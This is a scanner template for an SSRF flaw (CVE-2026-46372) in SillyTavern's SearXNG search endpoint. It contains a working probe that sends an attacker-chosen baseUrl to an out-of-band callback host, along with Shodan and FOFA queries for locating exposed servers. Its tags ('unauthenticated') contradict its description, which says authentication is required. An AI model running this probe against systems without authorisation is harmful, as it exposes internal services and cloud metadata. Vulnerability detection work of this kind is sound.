SillyTavern - Server-Side Request Forgery

id: CVE-2026-46372

info:
  name: SillyTavern - Server-Side Request Forgery
  author: theamanrawat
  severity: high
  description: |
    SillyTavern versions up to and including 1.17.0 expose the /api/search/searxng endpoint, which accepts an attacker-controlled baseUrl parameter and uses it directly to build outbound server-side fetch requests. An authenticated low-privilege user can point baseUrl at an internal or loopback HTTP service and receive the full response body, enabling read access to internal services, cloud metadata endpoints, and private network resources.
  remediation:
    Upgrade SillyTavern to version 1.18.0 or later, which introduces a Private Request Whitelisting filter. Enable and properly configure the filter when hosting over a network.
  reference:
    - https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-qg89-qwwh-5f3j
    - https://nvd.nist.gov/vuln/detail/CVE-2026-46372
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
    cvss-score: 8.5
    cve-id: CVE-2026-46372
    epss-score: 0.01007
    epss-percentile: 0.62324
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 3
    shodan-query: http.title:"SillyTavern"
    fofa-query: title="SillyTavern"
  tags: cve,cve2026,sillytavern,nodejs,ssrf,unauthenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "<title>SillyTavern</title>"
        internal: true

  - raw:
      - |
        GET /csrf-token HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /api/search/searxng HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        X-CSRF-Token: {{csrf_token}}

        {"baseUrl":"http://{{interactsh-url}}/","query":"x"}

    extractors:
      - type: json
        name: csrf_token
        part: body
        internal: true
        json:
          - '.token'

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "GET"
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